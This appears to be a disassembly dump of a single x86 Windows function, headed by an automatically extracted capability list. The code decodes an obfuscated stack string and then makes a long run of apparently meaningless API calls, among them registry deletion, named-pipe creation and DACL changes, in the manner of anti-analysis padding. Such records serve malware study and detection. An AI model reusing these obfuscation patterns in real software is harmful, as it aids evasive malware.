Function at 0xab2000
Capabilities:
Connect pipe
Contain obfuscated stackstrings
Create pipe
Delete registry key
Delete registry value
Enumerate files on windows
Enumerate gui resources
Get common file path
Get geographical location
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov dword [ebp - 0x10], 0xab2ce7
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xab2036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xab2202
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xab20b8
call fcn.00481cd2
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xab207a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xab2094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xab2094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xab204a
mov byte [ebp - 0x7c], 9
mov byte [ebp - 0x7b], 0x6a
mov byte [ebp - 0x7a], 7
mov byte [ebp - 0x79], 0x64
mov byte [ebp - 0x78], 4
mov byte [ebp - 0x77], 0x7c
mov byte [ebp - 0x76], 8
mov byte [ebp - 0x75], 0x77
mov byte [ebp - 0x74], 6
mov byte [ebp - 0x73], 0x77
mov byte [ebp - 0x72], 1
mov byte [ebp - 0x71], 0x80
mov byte [ebp - 0x70], 5
mov byte [ebp - 0x6f], 0x76
mov byte [ebp - 0x6e], 3
mov byte [ebp - 0x6d], 0x2f
mov byte [ebp - 0x6c], 2
mov byte [ebp - 0x6b], 0x7f
mov byte [ebp - 0x6a], 0
mov byte [ebp - 0x69], 0x85
mov byte [ebp - 0x68], 0x1e
mov byte [ebp - 0x67], 0x47
mov byte [ebp - 0x66], pe_nt_image_headers32
mov byte [ebp - 0x65], 0xc4
mov byte [ebp - 0x64], 0x41
mov byte [ebp - 0x63], 0xc1
mov byte [ebp - 0x62], 0xb
mov byte [ebp - 0x61], 0xc1
mov byte [ebp - 0x60], 0x10
mov byte [ebp - 0x5f], 0x3f
mov byte [ebp - 0x5e], 0xa
mov byte [ebp - 0x5d], 0x93
mov byte [ebp - 0x5c], 0x6c
mov byte [ebp - 0x5b], 0xf0
mov byte [ebp - 0x5a], 0xe6
mov byte [ebp - 0x59], 0x6d
mov byte [ebp - 0x58], 0xd0
mov byte [ebp - 0x57], 0x34
mov byte [ebp - 0x56], 0x11
mov byte [ebp - 0x55], 0x4d
mov byte [ebp - 0x54], 0x4e
mov byte [ebp - 0x53], 0xa0
mov byte [ebp - 0x52], 0x55
mov byte [ebp - 0x51], 0x23
mov byte [ebp - 0x50], 0x26
mov byte [ebp - 0x4f], 0x49
mov byte [ebp - 0x4e], 0xb
mov byte [ebp - 0x4d], 0x35
mov byte [ebp - 0x4c], 0x97
mov byte [ebp - 0x4b], 0x3f
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xab2192
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x32
jae 0xab21f7
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x7c]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xab21be
mov dword [ebp - 0x24], 0x1e
mov eax, dword [ebp - 8]
add eax, 0x1c
mov dword [ebp - 8], eax
jmp 0xab218a
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x7b]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xab21e6
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xab21d3
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x7c]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xab218a
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xaa43c2
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00407921
mov ecx, eax
call fcn.00402bf4
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402b98
and dword [ebp - 0x1c], 0
jmp 0xab223a
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xab224a
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xab2233
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRgn]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PlayEnhMetaFile]
push 0
push 0x1454
push 0x206e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowExtEx]
push 0
call dword [sym.imp.USER32.dll_RegisterClassW]
push 0
push 0x23cc
push 0x26e6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
push 0x11a9
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
call dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
push 0x53
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetLayout]
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCurrentPositionEx]
push 0
push 0x247f
push 0x80a
push 0x1499
push 0x1f89
call dword [sym.imp.GDI32.dll_CreateBitmap]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DestroyWindow]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectPalette]
push 0
push 0x13
push 0x8a1
push 0xb5b
push 0x140d
push 0x32b
push 0x21e1
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push 0x135d
push 0x1a1c
push 0
call dword [sym.imp.USER32.dll_OffsetRect]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
push 0
push 0x29a
push 0xc0c
push 0x1bcf
push 0x8ee
push 0x1b18
push 0x2129
push 0x14ef
push 0x2656
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x584
push 0x6ed
push 0
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndDialog]
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
push 0
push 0x159a
push 0x1211
call dword [sym.imp.GDI32.dll_CreatePen]
push 0x26ec
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push 0x1017
call dword [sym.imp.USER32.dll_MessageBeep]
push 0
push 0x3b6
push 0x526
push 0x185
push 0x162e
push 0xb4a
push 0x945
push 0xabe
push 0x1ac3
push 0x21d6
push 0x1a1
push 0x20e6
push 0x24c6
push 0x123f
call dword [sym.imp.GDI32.dll_CreateFontA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0xa95
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
call dword [sym.imp.USER32.dll_GetMessageTime]
push 0
push 0x1066
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
push 0x1855
push 0x228a
push 0
push 0
push 0x26f1
push 0x1a81
push 0x9ec
push 0x35
push 0x1b47
push 0x23c
push 0x1b21
push 0xfc7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchDIBits]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0
push 0x2006
push 0x261
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBColorTable]
push 0x3f9
push 0x1461
push 0
push 0
push 0x1e46
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
push 0
push 0
push 1
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push 0x1dfc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetMapMode]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileType]
push 0x6c3
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push 0
push 0
call dword [sym.imp.GDI32.dll_RectInRegion]
push 0
push 0x6d8
push 0x1e0d
push 0x116b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0
push 0xd4c
push 0x1415
push 0
push 0xb64
push 0x161c
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0x1d18
push 0
push 0x16b1
push 0
call dword [sym.imp.USER32.dll_LoadStringA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetParent]
push 0
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
push 0x23fb
push 0x9a
push 0x884
call dword [sym.imp.KERNEL32.dll_MulDiv]
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x954
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0x1b30
push 0
push 0
push 0
push 0x2256
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFocusRect]
push 0
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetRgnBox]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
push 0
push 0x1763
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_UpdateColors]
push 0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
push 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0x121f
push 0
push 0x17a
push 0x11f7
push 0x1648
push 0
push 0x17c7
push 0x406
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawIconEx]
push 0x1c22
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
push 0x891
push 0xe64
push 0
call dword [sym.imp.USER32.dll_InflateRect]
call dword [sym.imp.USER32.dll_GetCapture]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0x107c
push 0x742
push 0xa53
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
call dword [sym.imp.USER32.dll_PeekMessageA]
push 0
push 0x9db
push 0x104f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
push 0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0xc08
call dword [sym.imp.KERNEL32.dll_TlsFree]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x1ec0
call dword [sym.imp.USER32.dll_GetQueueStatus]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_HideCaret]
push 0
push 0x1dd9
push 0x22e2
push 0
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
push 0x1979
call dword [sym.imp.GDI32.dll_GetStockObject]
push 0x656
push 0
push 0x800
push 0x114e
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
push 1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_FlashWindow]
push 0x1a80
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push 0x1d61
call dword [sym.imp.KERNEL32.dll_ExitProcess]